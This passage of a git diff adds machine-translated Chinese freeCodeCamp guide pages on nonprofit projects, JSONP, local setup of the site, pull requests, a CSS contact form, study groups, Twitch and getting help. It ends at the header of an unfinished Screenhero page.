+利益相关者对其组织的需求有深刻的理解。营员将与他们合作，找出满足这些需求的最佳解决方案。
+
+当您和您的配对伙伴首次与您的非营利性利益相关者交谈时，您将：
+
+*   长篇大论，以便更好地了解他们的需求。
+*   创建一个新的Trello板并使用它来确定需要构建的优先级。
+*   并根据您每周的时间承诺确定最后期限，以及您认为每项任务需要多长时间。
+
+理想情况下，我们将每个项目的范围在10个冲刺中完成。估计建筑软件项目需要多长时间是非常困难的，所以请随时向我们的志愿者团队寻求帮助。
+
+您将继续使用会议软件GoToMeeting每周与您的利益相关方会面。您还将与该项目的Trello板上的团队通信。
+
+对任务进行“阻止”可以消除你对前进动力的感觉，所以一定要主动寻找你遇到的任何歧义的答案。
+
+最终，一旦满足利益相关者的需求，该项目将被视为完整，您和您的合作伙伴对项目感到满意。然后你可以将它添加到你的投资组合！
+
+### 与你的配对工作
+
+您和您的配对将在一半的时间内将程序（虚拟地在同一台计算机上编码）配对，并在另一半时间独立工作。
+
+以下是我们推荐的合作方式：
+
+*   Gitter拥有强大的私人消息功能。这是我们团队沟通的主要方式，我们通过电子邮件推荐它。
+*   Trello非常适合管理项目。与您的利益相关者合作创建Trello卡，并在您取得进展时定期更新这些卡。
+*   屏幕英雄或团队查看器 - 这是配对程序的理想方式。像TMUX这样的工具很好，但很难使用。我们不鼓励您使用屏幕共享工具，只有一个人可以控制键盘和鼠标 - 这不是真正的配对编程。
+*   编写清晰可读的代码，提交消息，分支名称和拉取请求消息。
+
+### 托管应用程序
+
+除非您的利益相关者拥有现有的现代主机（AWS，Digital Ocean），否则您需要将其转换到新平台。我们相信Heroku是绝大多数Web项目的最佳选择。它是免费的，易于使用，并具有浏览器和命令行界面。它由Salesforce拥有并被大量公司使用，因此它是负责任的，不太可能消失。
+
+如果您需要帮助说服您的利益相关者Heroku是理想的平台，我们很乐意与他们交谈。
+
+### 维护应用程序
+
+完成非营利项目后，您对其利益相关者的义务即告完成。您的目标是留下一个记录良好的解决方案，可以由合同JavaScript开发人员（甚至是技术性较差的“超级用户”）轻松维护。
+
+虽然您将不再需要帮助进行功能开发，但我们建议您考虑帮助您的利益相关方偶尔获得补丁。毕竟，这个项目将是你的投资组合中的一个重要部分，你会希望它能够为好奇的未来雇主保持良好状态。
+
+### 承诺完成该项目
+
+您的非营利性利益相关者，您的配对伙伴以及我们的志愿者团队都指望您完成您的非营利项目。如果你离开一个未完成的非营利项目，你就没有资格被分配到另一个项目。
+
+为确认您了解此承诺的严肃性，我们要求所有营员在开始其非营利项目之前[签署此承诺](http://goo.gl/forms/ZMn96z2QqY) 。
+
+可能会出现混淆或沮丧的情况。这在软件开发中是正常的。最重要的是你不要放弃，而是坚持这些挫折。正如史蒂夫乔布斯所说的那样，“真正的艺术家们正在出货而且你将要一个接一个地发布一个成功的非营利项目，直到你准备好在你有前途的职业生涯中迈出下一步。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-jsonp-is-different-from-json/index.md b/client/src/guide/chinese/miscellaneous/how-jsonp-is-different-from-json/index.md
new file mode 100644
index 0000000000..08ae5d9395
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-jsonp-is-different-from-json/index.md
@@ -0,0 +1,22 @@
+---
+title: How Jsonp Is Different from JSON
+localeTitle: Jsonp与JSON的区别
+---
+JSONP只是JSON包装在一个回调函数中。
+
+JSONP对于发出跨域请求很有用，出于安全原因，这些请求通常被浏览器禁止。
+```
+ // an example of JSON 
+ {"weapon":"nunchucks","headband":"yellow"} 
+ 
+ // an example of JSONP 
+ myCallback({"weapon":"nunchucks","headband":"yellow"}); 
+```
+
+然后，要访问存储在JSONP中的数据，请定义回调函数：
+```
+myCallback = function(data){ 
+  alert(data.weapon); 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-build-a-website-without-writing-any-code/index.md b/client/src/guide/chinese/miscellaneous/how-to-build-a-website-without-writing-any-code/index.md
new file mode 100644
index 0000000000..2894beed45
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-build-a-website-without-writing-any-code/index.md
@@ -0,0 +1,14 @@
+---
+title: How to Build a Website Without Writing Any Code
+localeTitle: 如何在不编写任何代码的情况下构建网站
+---
+只需几分钟，就可以构建动态，移动响应的网站，而无需编写任何代码。
+
+以下是我们使用的技术：
+
+*   [atom.io](http://www.atom.io/)一个免费的代码编辑器
+*   [startbootstrap.com](http://www.startbootstrap.com/)免费响应（Bootstrap）模板的集合
+*   [powr.io](http://www.powr.io/)是一系列免费的JavaScript插件
+*   [bitballoon.com](http://www.bitballoon.com/)用于拖放网站部署的工具
+
+如果没有实际编码，您将很快达到可以做的极限，但能够快速构建这样的工作原型网站真是太好了。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/index.md b/client/src/guide/chinese/miscellaneous/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/index.md
new file mode 100644
index 0000000000..54e6a5d21d
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/index.md
@@ -0,0 +1,44 @@
+---
+title: How to Clone and Setup the Free Code Camp Website on a Windows Pc
+localeTitle: 如何在Windows PC上克隆和设置免费代码营网站
+---
+此列表适用于freeCodeCamp站点，并且已在此[Angular教程中](https://docs.angularjs.org/tutorial)进行了测试。在Windows PC上设置开发环境很容易，但在此过程中可能会首先出现很多错误。重要的是纠正这些错误。
+
+## 先决条件
+
+1.  [Git bash](https://msysgit.github.io/)
+2.  [Node.js的](https://nodejs.org/)
+3.  [MongoDB的](https://www.mongodb.org/downloads)
+4.  [Python 2.7.10](https://www.python.org/downloads/release/python-2710/)
+
+下载并安装4个先决条件。安装Python和Node时，检查选项add to path变量很重要。 Node安装程序默认执行此操作。将Mongo添加到路径是可选的。 Python应该安装在％programfiles％的子文件夹中
+
+1.  使用管理员权限打开命令提示符。
+    
+2.  通过运行`node -v`验证节点是否在路径中
+    
+3.  通过运行`npm -v`验证npm是否在路径中
+    
+4.  运行以下命令：
+    
+    ```
+    npm install gulp -g 
+     npm install node-gyp -g 
+    
+    ```
+    
+5.  如果你想在浏览器中花费时间在必须启动时找到Mongo，请在桌面上创建`.cmd`文件并写入Mongo的路径。可能是`%programfiles%\MongoDB\Server\3.0\bin\mongod.exe` 。
+    
+6.  为Mongo创建默认文件夹以存储数据库： `C:\data\db`
+    
+
+**以下命令都_必须_在Git Bash中执行**
+
+1.  按照[**Github上的freeCodeCamp**](https://github.com/FreeCodeCamp/freecodecamp)说明并克隆项目。
+2.  确保你在使用GitHub克隆的目录中（默认情况下，这是freecodecamp）。
+3.  运行`cp sample.env .env`
+4.  运行`npm install`
+5.  从桌面快捷方式启动Mongo并运行`npm run only-once` 。您现在应该在启动Mongo的窗口中看到很多活动。
+6.  跑了`gulp` 。过了一会儿，你的本地版本的freeCodeCamp应该正在运行。您可以在浏览器中访问`http://localhost:3000`
+
+恭喜你，你做完了！如果您在设置本地版本的freeCodeCamp时遇到任何问题，请随时联系[我们的贡献者聊天室](https://gitter.im/FreeCodeCamp/Contributors) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-contribute-via-a-pull-request/index.md b/client/src/guide/chinese/miscellaneous/how-to-contribute-via-a-pull-request/index.md
new file mode 100644
index 0000000000..dc734af89b
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-contribute-via-a-pull-request/index.md
@@ -0,0 +1,27 @@
+---
+title: How to Contribute Via a Pull Request
+localeTitle: 如何通过拉取请求进行贡献
+---
+> 拉取请求（PR）是一种向开源项目提交贡献的方法。它通常是使用分布式版本控制系统（DVCS）（如Git）向项目提交贡献的首选方式。
+
+FreeCodeCamp是一个开源项目，所有内容都可以自由编辑。
+
+*   [用叉子](https://help.github.com/articles/fork-a-repo/)在GitHub上的项目。
+*   [将其克隆](https://help.github.com/articles/cloning-a-repository/)到本地计算机。不要在github.com中在线编辑，因为编辑器可能会导致JSON格式数据出现问题。
+*   使用表单`fix/some-bug`或`feature/add-cool-thing` [创建一个分支](https://help.github.com/articles/creating-and-deleting-branches-within-your-repository/) ，并在该分支中进行更改并提交它们。
+*   在线[推送](https://help.github.com/articles/pushing-to-a-remote/)分支（如果在本地编辑）。
+*   针对**“staging”**分支[创建拉取请求](https://help.github.com/articles/creating-a-pull-request/) 。
+*   PR的标题（也称为主题）应描述您的更改。即`fix typo in basic-javascript challenge`
+*   如果PR旨在解决特定问题，请附加到PR的提交消息`closes #1337` 。如果公关合并，这告诉GitHub关闭该问题。
+*   不要将问题编号添加到PR的标题中。即`minor improvements in basic-javascript challenge`
+
+这些是PR的一般指导原则，适用于大多数项目。在查看项目的提交历史记录时，它为每个人提供了快速的更改指南。
+
+_注意：并非所有拉取请求都被接受。 FCC项目维护人员将解释不接受的原因。_
+
+## 进一步阅读
+
+*   [GitHub和Git基础培训](https://www.youtube.com/playlist?list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-) - 如何使用Git和GitHub
+*   [FreeCodeCamp贡献指南](https://github.com/FreeCodeCamp/FreeCodeCamp#contributing)
+*   [如何编写Git提交消息](http://chris.beams.io/posts/git-commit/)
+*   [如何将FCC克隆到Windows PC](https://forum.freecodecamp.com/t/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/19366)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-create-a-contact-form-with-css/index.md b/client/src/guide/chinese/miscellaneous/how-to-create-a-contact-form-with-css/index.md
new file mode 100644
index 0000000000..ab0038880f
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-create-a-contact-form-with-css/index.md
@@ -0,0 +1,141 @@
+---
+title: How to Create a Contact Form with CSS
+localeTitle: 如何使用CSS创建联系表单
+---
+## 如何使用CSS创建联系表单
+
+首先，我们创建HTML元素 - 用于消息的名字，姓氏，电子邮件和文本区域的输入字段。
+
+稍后我们应用CSS样式以使表单在视觉上吸引人。
+
+### HTML部分
+
+HTML部分有一个带有类`container`的div，标题为`h3` “ **Contact Form** ”
+
+名称为**contact\_form**的表单包含以下输入字段：
+
+*   名字
+*   姓
+*   电子邮件
+*   信息
+
+带有班级`center`的div，用于对齐项目中心。 `input`类型`submit`以提交表单。 在提交时检查文本字段中的`required`属性的值。
+
+```html
+
+<div class="container"> 
+    <h3>Contact Form</h3> 
+    <form action="#" name="contact_form"> 
+        <label for="first_name">First Name</label> 
+        <input name="first_name" type="text" required placeholder="John"/> 
+        <br> 
+        <label for="last_name">Last Name</label> 
+        <input name="last_name" type="text" required placeholder="Doe"/> 
+        <br> 
+        <label for="email">Email</label> 
+        <input name="email" type="email" required placeholder="you@domain.com"/> 
+        <br> 
+        <label for="message">Message</label><br> 
+        <textarea name="message" cols="30" rows="10" placeholder="Enter your message here ..." required> </textarea> 
+        <div class="center"> 
+            <input type="submit" value="Submit"> 
+        </div> 
+    </form> 
+ </div> 
+```
+
+### CSS部分
+
+```css
+/* Importing the Roboto font from Google Fonts. */ 
+ @import url("https://fonts.googleapis.com/css?family=Roboto:400"); 
+ 
+ /* Set font of all elements to 'Roboto' */ 
+ * { 
+    font-family: 'Roboto', sans-serif; 
+    font-weight: 400; 
+ } 
+ 
+ /* Remove outline of all elements on focus */ 
+ *:focus { 
+    outline: 0; 
+ } 
+ 
+ body { 
+    background: #263238;  /* Set background color to #263238*/ 
+ } 
+ 
+ h3 { 
+    text-align: center; 
+ } 
+ 
+ /* Add styles to 'container' class */ 
+ .container { 
+    padding: 12px 24px 24px 24px; 
+    margin: 48px 12px; 
+    background: #E3F2FD; 
+    border-radius: 4px; 
+ } 
+ 
+ /* Add styles to 'label' selector */ 
+ label { 
+    font-size: 0.85em; 
+    margin-left: 12px; 
+ } 
+ 
+ /* Add styles to 'input' and 'textarea' selectors */ 
+ input[type=text],input[type=email], textarea { 
+    width: 100%; 
+    padding: 12px; 
+    border: 1px solid #ccc; 
+    border-radius: 4px; 
+    box-sizing: border-box; 
+    margin-top: 6px; 
+    margin-bottom: 16px; 
+    resize: vertical; 
+ } 
+ 
+ /* Add styles to show 'focus' of selector */ 
+ input[type=text]:focus,input[type=email]:focus, textarea:focus { 
+    border: 1px solid green; 
+ } 
+ 
+ /* Add styles to the submit button */ 
+ input[type=submit] { 
+    background: #64B5F6; 
+    margin: 0 auto; 
+    outline: 0; 
+    color: white; 
+    border: 0; 
+    padding: 12px 24px; 
+    border-radius: 4px; 
+    transition: all ease-in-out 0.1s; 
+    position: relative; 
+    display: inline-block; 
+    text-align: center; 
+ } 
+ 
+ /* Add styles for 'focus' property */ 
+ input[type=submit]:focus { 
+    background: #A5D6A7; 
+    color: whitesmoke; 
+ } 
+ 
+ /* Style 'hover' property */ 
+ input[type=submit]:hover { 
+    background: #2196F3; 
+ } 
+ 
+ /* Align items to center of the 'div' with the class 'center' */ 
+ .center { 
+    text-align: center; 
+ } 
+```
+
+### 产量
+
+![FreeCodeCamp / guides  - 联系表格](http://res.cloudinary.com/crack-jack/image/upload/v1508434398/FCC_Github_Contact_form.png)
+
+### 更多信息：
+
+访问[FreeCodeCamp -联系表](https://codepen.io/rakhi2104/pen/QqYOoe/)上[Codepen.io](https://codepen.io)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md b/client/src/guide/chinese/miscellaneous/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md
new file mode 100644
index 0000000000..788c080c65
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Create a Dropdown Menu with CSS and JavaScript
+localeTitle: 如何使用CSS和JavaScript创建下拉菜单
+---
+## 如何使用CSS和JavaScript创建下拉菜单
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/miscellaneous/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-create-a-local-study-group/index.md b/client/src/guide/chinese/miscellaneous/how-to-create-a-local-study-group/index.md
new file mode 100644
index 0000000000..de350270e0
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-create-a-local-study-group/index.md
@@ -0,0 +1,80 @@
+---
+title: How to Create a Local Study Group
+localeTitle: 如何创建本地学习小组
+---
+如果您没有在[我们的学习小组列表中](https://www.freecodecamp.com/study-group-directory/)看到您所在的城市，并且您愿意带领您所在城市的学习小组，请按照以下说明操作。
+
+这也适用于为同一城市内的社区和地区创建更小，更有凝聚力的团体。因此，理想情况下，群体应该代表其成员不必通勤超过15-20分钟以相互会面的区域。  
+但是，请注意，人们可能想要从其他地方加入，因为他们可能打算搬到那里，或者将您的团队视为一个很好的资源和反馈来源等。
+
+**请不要为整个州/省/省/县/等创建小组。因为它们不会被添加到列表中。**
+
+假设您已经登录Facebook：  
+0。 （可选）创建组时，您需要添加至少一个人。您可以添加[Justin](https://www.facebook.com/FCC.GroupChancellor)作为朋友，负责freeCodeCamp的本地组，并可以**帮助您管理您的成员，事件以及可能出现的任何问题（例如垃圾邮件发送者等）** 。  
+此外，他可能看不到任何可能发送的消息，直到你“交朋友”为止。
+
+现在，到有趣的部分！这很容易，只需按照以下步骤操作：
+
+1.  单击屏幕右上角的向下箭头，然后从选项中选择“创建组”。
+
+![Facebook的屏幕截图，显示单击向下箭头时出现的下拉菜单，箭头指向“创建组”选项](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9b58a494046871476342efb4b2e8d09426f7f9e3.png)
+
+2。将组名称设置为“freeCodeCamp”+您所在城市的名称。
+
+*   避免在“费城”中使用诸如“费城”之类的俚语。
+*   如果您的城市不是使用其名称的最大城市，也包括州或省。例如，法国巴黎的freeCodeCamp组应称为“freeCodeCamp Paris”。德克萨斯州巴黎的freeCodeCamp组应称为“freeCodeCamp Paris，TX”。
+*   如果您在北美，我们建议您在此处添加州/省的首字母。
+
+3。将您的群组设为公开。
+
+![Facebook群组创建模式的屏幕截图，说明您的群组名称应为freeCodeCamp加上您的城市名称，您的群组应该是公开的，并且您需要邀请至少一位Facebook好友。](//discourse-user-assets.s3.amazonaws.com/original/3X/e/4/e49fe1e0a5b675c80dc4313252a5f92fd866472c.png)
+
+4。选择毕业帽图标以表示该组与教育相关。
+
+![一个屏幕截图，告诉您选择毕业图标，该图标位于第四行图标上，左侧是七个图标。](//discourse-user-assets.s3.amazonaws.com/original/2X/f/fc5d4406b8e794fb973178aeffb281d8e344fea4.png)
+
+5。单击“...”菜单，然后单击下拉菜单中的“编辑组设置”。
+
+![屏幕截图，告诉您单击“...”按钮，然后选择“编辑组设置”选项](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2e6b9e8129a42aba871442045da24686a1a63765.png)
+
+6。将群组的隐私设置设为公开。
+
+7。将您组的会员资格批准设置为任何会员可以添加或批准会员的位置
+
+![显示Facebook设置面板的屏幕截图，您可以在其中单击以将该组设置为公共，并允许所有成员添加或批准成员](//discourse-user-assets.s3.amazonaws.com/original/3X/6/a/6a2735dbb63f052109e06a21baf64d5e818e2dbc.png)
+
+8。单击“自定义地址”按钮。
+
+9。输入“free.code.camp.your.city”，每个单词用句点分隔。  
+例子：  
+![:white_check_mark:](https://forum.freecodecamp.com/images/emoji/emoji_one/white_check_mark.png?v=3 "：white_check_mark：") **free.code.camp.london**  
+![:white_check_mark:](https://forum.freecodecamp.com/images/emoji/emoji_one/white_check_mark.png?v=3 "：white_check_mark：") **freecodecamp.london**  
+![:x:](https://forum.freecodecamp.com/images/emoji/emoji_one/x.png?v=3 "：X：") **free.code.camp.your.london**  
+![:x:](https://forum.freecodecamp.com/images/emoji/emoji_one/x.png?v=3 "：X：") **free.code.camp.your.city.london**
+
+![屏幕截图，告诉您输入freecodecamp.yourcity，每个单词用句点分隔。](//discourse-user-assets.s3.amazonaws.com/original/2X/b/b06ad3f1b9d91f9dd9aba828bdd699677725d130.png)
+
+10。请随意个性化您当地小组的描述，但一定要包含freeCodeCamp的链接： `https://freecodecamp.com` ：//freecodecamp.com。如果你提到你所在城市所在的国家（或北美的州/省），它可以让新成员更容易找到你。
+
+另外，请记住当地人是否会说流利的英语，因此拥有一个以自己语言编写的小组可能会更好地激励他们加入。我们希望每个人都感到舒适，编码可能很难，而不必承担在其上面说不同语言的压力。
+
+![屏幕截图显示Facebook页面上的组说明框。](//discourse-user-assets.s3.amazonaws.com/original/3X/8/c/8c68d711a85d5089b28d927665db3a6d6cf7ca40.png)
+
+11。点击“上传照片”按钮。首先，您可能只想使用freeCodeCamp的横幅（ [在此处](https://github.com/FreeCodeCamp/wiki/blob/master/deprecated%20wiki/images/FCC-FBbanner.png)下载），或者您所在城市的风景照片。稍后您可以使用来自您所在城市的freeCodeCamp的图片进行更新。事件。
+
+或者，Justin是您的助理管理员，您可以让他为您添加相册中的徽标。
+
+\[ ![显示“上传照片”按钮的屏幕截图。](//discourse-user-assets.s3.amazonaws.com/original/2X/2/26006223f5f5b1c154496452037049be1a795d68.png)
+
+12。如果您还没有，请**务必将[Justin](https://www.facebook.com/FCC.GroupChancellor)添加到您的论坛，然后让他成为一个额外的管理员，**这样他就可以将您添加到官方列表中 - 您可以在添加他之后执行此操作，在成员部分中点击在他名字旁边的齿轮图标上。  
+如果你在第0步没有这样做，就不需要“和他交朋友”。只需给他发一条私人信息，链接到你的小组，他就会自己加入。  
+_别担心，这个小组仍然是100％你的，因为他只是在后台默默地帮助你。_
+
+如前所述，Justin负责freeCodeCamp的本地小组，如果您有其他问题或需要与小组相关的帮助，您可以随时向他发送私信。
+
+13。最后，加入我们的[本地领导者Facebook小组](https://www.facebook.com/groups/freecodecampers/) ，在那里我们分享有关您所在城市的露营者的想法。
+
+**其他提示：**
+
+*   阅读[本文](https://medium.freecodecamp.com/jump-start-your-local-campsite-with-coffee-and-code-a8d1a57d30e#) ，看看您是否可以设置论坛的第一个咖啡和代码会话。
+*   [关于让更多人](https://medium.freecodecamp.com/growth-hacking-your-free-code-camp-group-8cf76300a5d1#)参与您的小组的一些[想法](https://medium.freecodecamp.com/growth-hacking-your-free-code-camp-group-8cf76300a5d1#) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-create-a-twitch-account/index.md b/client/src/guide/chinese/miscellaneous/how-to-create-a-twitch-account/index.md
new file mode 100644
index 0000000000..5c95ea8823
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-create-a-twitch-account/index.md
@@ -0,0 +1,47 @@
+---
+title: How to Create a Twitch Account
+localeTitle: 如何创建一个Twitch帐户
+---
+# 什么是Twitch？
+
+Twitch是一个直播视频平台，成立于2011年6月。每月有超过200万人在Twitch上播出，有超过1亿的独立访问者。
+
+## 设置您的Twitch帐户
+
+使用Twitch创建帐户使您可以与聊天进行交互，在您认识的人流式传输时获取警报，甚至可以自行传输。
+
+1.  点击此处[创建一个新帐户](https://www.twitch.tv/signup) 。
+    
+2.  您现在应该选择适当的用户名和密码。
+    
+
+> ![用户名和密码](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e00617420bb5e757ea3120960c8a99f2b17c230d.gif)
+
+1.  然后提交您的出生日期和您的电子邮件地址。
+
+> 您提供正确的电子邮件地址非常重要，因为稍后您需要这样做以验证您的帐户并在有人上线时收到提醒。
+
+1.  现在你需要做的就是完成验证码，你已经准备好摇滚！
+    
+2.  注册后，您将收到有关验证帐户的电子邮件。
+    
+
+### 更改一些设置
+
+登录后，转到[设置页面](https://www.twitch.tv/settings) 。
+
+在此页面上，您可以更改个人资料图片，电子邮件地址并撰写个人简历。不幸的是，Twitch不允许您在注册后更改用户名。但是，您可以更改大小写。
+
+## 关注FreeCodeCamp
+
+### 我们目前正在不再使用Twitch，一旦细节完成，我们将更新此页面。
+
+要关注Twitch上的FreeCodeCamp，请转到我们的[频道页面](https://www.twitch.tv/freecodecamp/profile) 。按下跟随按钮并启用警报，如下所示。现在，每次FreeCodeCamp上线时，您都会收到一封电子邮件。
+
+> ![关注freecodecamp](//discourse-user-assets.s3.amazonaws.com/original/2X/6/6ac2df7b5472a8c530b1feea677a315fdad2eea2.gif)
+
+### 观看过去的广播
+
+如果我们不活，您可以观看我们以前的一些流。过去的广播仅在最初流式传输后保存14天，因此请记住。
+
+> ![显示过去的广播](https://i.gyazo.com/976a213442b0a2541b90ae37f38ff043.gif)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-fork-and-maintain-a-local-instance-of-free-code-camp-on-mac-and-linux/index.md b/client/src/guide/chinese/miscellaneous/how-to-fork-and-maintain-a-local-instance-of-free-code-camp-on-mac-and-linux/index.md
new file mode 100644
index 0000000000..5f4ca82072
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-fork-and-maintain-a-local-instance-of-free-code-camp-on-mac-and-linux/index.md
@@ -0,0 +1,74 @@
+---
+title: How to Fork and Maintain a Local Instance of Free Code Camp on Mac and Linux
+localeTitle: 如何在Mac和Linux上分叉并维护一个免费代码阵营的本地实例
+---
+如果您打算为免费代码营写一个Pull Request ，您几乎肯定需要该网站的本地副本。拥有该站点的本地副本将为您提供Git的其他功能，这些功能无法通过GitHub浏览器界面获得，包括更新fork和rebasing / squashing提交。
+
+本指南将介绍如何分叉FCC项目，克隆本地副本以及如何维护fork。将为命令行提供所有Git命令，我们强烈建议您使用，但大多数命令也可以在图形Git环境中执行。
+
+如果您使用的是Windows，请[改用本指南](https://forum.freecodecamp.com/t/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/19366) 。
+
+## 需要帮忙？
+
+免费代码营问题Mods和工作人员随时为我们的[帮助贡献者聊天室提供](https://gitter.im/FreeCodeCamp/HelpContributors)有关Pull Request相关问题的[帮助](https://gitter.im/FreeCodeCamp/HelpContributors)
+
+## 设置系统
+
+1.  安装[Git](https://git-scm.com/)或您最喜欢的Git客户端
+2.  （可选）为Github [设置SSH密钥](https://help.github.com/articles/generating-ssh-keys/) 。  
+    使用SSH可以大大加快与GitHub的交互，因为系统不会提示您输入密码。
+3.  在系统上创建父项目目录。出于本文档的目的，我们假设它是`/mean/`
+
+## 分叉免费代码营
+
+1.  导航到顶级免费代码库存储库： `https://github.com/FreeCodeCamp/freecodecamp` ： `https://github.com/FreeCodeCamp/freecodecamp`
+2.  单击界面右上角的“Fork”按钮。 [更多细节在这里](https://help.github.com/articles/fork-a-repo/) 。
+3.  项目分叉后，您将被转到您的`username/freecodecamp`的FCC回购副本
+
+## 克隆你的叉子
+
+1.  从您的FCC分支，复制HTTPS或SSH（如果您安装了SSH密钥）克隆URL
+2.  打开Bash Shell /命令行/终端到项目目录（IE： `/mean/` ）
+3.  克隆你的git之叉：
+
+`git clone https://github.com/yourUserName/FreeCodeCamp.git`
+
+这会将整个FCC仓库下载到您的项目目录中。
+
+`bash $ git clone https://github.com/yourUserName/FreeCodeCamp.git Cloning into 'FreeCodeCamp'... remote: Counting objects: 37294, done. remote: Compressing objects: 100% (13/13), done. remote: Total 37294 (delta 5), reused 0 (delta 0), pack-reused 37281 Receiving objects: 100% (37294/37294), 18.69 MiB | 3.99 MiB/s, done. Resolving deltas: 100% (26053/26053), done. Checking connectivity... done. Checking out files: 100% (573/573), done.`
+
+### 设置您的上游
+
+1.  将目录更改为新的`FreeCodeCamp`目录
+2.  在官方FCC回购中添加遥控器：
+
+`git remote add upstream https://github.com/FreeCodeCamp/FreeCodeCamp.git`
+
+恭喜，您现在拥有FCC回购的本地副本！
+
+## 维护你的叉子
+
+现在您已经拥有了fork的副本，您需要做一些工作才能保持最新状态。
+
+## 从上游重新定位
+
+每次在为PR创建分支之前执行此操作：
+
+1.  确保您在`staging`分支中
+
+`bash $ git status On branch staging Your branch is up-to-date with 'origin/staging'.`
+
+1.  如果您没有登台，请解决所有未完成的文件/提交和结帐登台  
+    `git checkout staging`
+2.  对`upstream`做一次反弹：
+
+`git pull --rebase upstream staging`
+
+这将删除官方分段上的所有更改，而无需在本地仓库中进行额外提交。  
+4.（可选）强制将更新的分段推送到GitHub分支
+
+`git push origin staging --force`
+
+这将覆盖fork上的staging分支。
+
+`bash $ git push origin staging --force Counting objects: 99, done. Delta compression using up to 12 threads. Compressing objects: 100% (38/38), done. Writing objects: 100% (38/38), 16.14 KiB | 0 bytes/s, done. Total 38 (delta 25), reused 0 (delta 0) To git@github.com:yourUserName/FreeCodeCamp.git f7a525c..8a2271d staging -> staging`
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-get-help-on-gitter/index.md b/client/src/guide/chinese/miscellaneous/how-to-get-help-on-gitter/index.md
new file mode 100644
index 0000000000..4961becd6f
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-get-help-on-gitter/index.md
@@ -0,0 +1,13 @@
+---
+title: How to Get Help on Gitter
+localeTitle: 如何获得Gitter的帮助
+---
+对不起你被困了。幸运的是，有许多露营者在Gitter上闲逛，可以帮助您解决大多数问题！按照以下简单步骤快速获取帮助：
+
+1.  转到[帮助室](https://gitter.im/FreeCodeCamp/Help)
+    
+    *   如果问题与代码有关，请使用[正确格式化](http://forum.freecodecamp.com/t/markdown-code-formatting/18391)和问题描述将聊天室中有问题的代码粘贴。
+    *   如果问题似乎与网站本身有关，请发布问题的屏幕截图或描述一下。
+2.  请记住，那里的人和你一样都是露营者，所以要有礼貌！
+    
+3.  如果您的问题困扰了Gitter中的每个人，请尝试[在Github上搜索您](http://forum.freecodecamp.com/t/searching-for-existing-issues-in-github/18390)发布类似问题的任何人的问题。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-get-help-when-you-are-stuck/index.md b/client/src/guide/chinese/miscellaneous/how-to-get-help-when-you-are-stuck/index.md
new file mode 100644
index 0000000000..220061f987
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-get-help-when-you-are-stuck/index.md
@@ -0,0 +1,15 @@
+---
+title: How to Get Help When You Are Stuck
+localeTitle: 如何在被困时获得帮助
+---
+当你遇到困难时，请记住：Read-Search-Ask。
+
+1.  **阅读**文档或错误
+2.  **搜索** Google
+3.  **请**你的朋友帮忙
+
+这是处理卡住的最省时的方式，也是最尊重别人的时间。
+
+大多数情况下，只需一步或两步，您就可以解决问题。
+
+我们有一个特殊的聊天室，只是为了获得帮助： [https](https://gitter.im/freecodecamp/help/) ： [//gitter.im/freecodecamp/help/](https://gitter.im/freecodecamp/help/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-install-clementinejs/index.md b/client/src/guide/chinese/miscellaneous/how-to-install-clementinejs/index.md
new file mode 100644
index 0000000000..978228bab0
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-install-clementinejs/index.md
@@ -0,0 +1,7 @@
+---
+title: How to Install Clementinejs
+localeTitle: 如何安装Clementinejs
+---
+Clementine.js是为FCC营员量身定制的Node样板。有关三种主要操作系统（Windows，OS X和Linux）的最新安装说明，请访问：
+
+[http://www.clementinejs.com/versions/fcc.html](http://www.clementinejs.com/versions/fcc.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-install-screenhero/index.md b/client/src/guide/chinese/miscellaneous/how-to-install-screenhero/index.md
new file mode 100644
index 0000000000..1965fc9dee
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-install-screenhero/index.md
@@ -0,0 +1,27 @@
+---
+title: How to Install Screenhero
+localeTitle: 如何安装Screenhero
+---
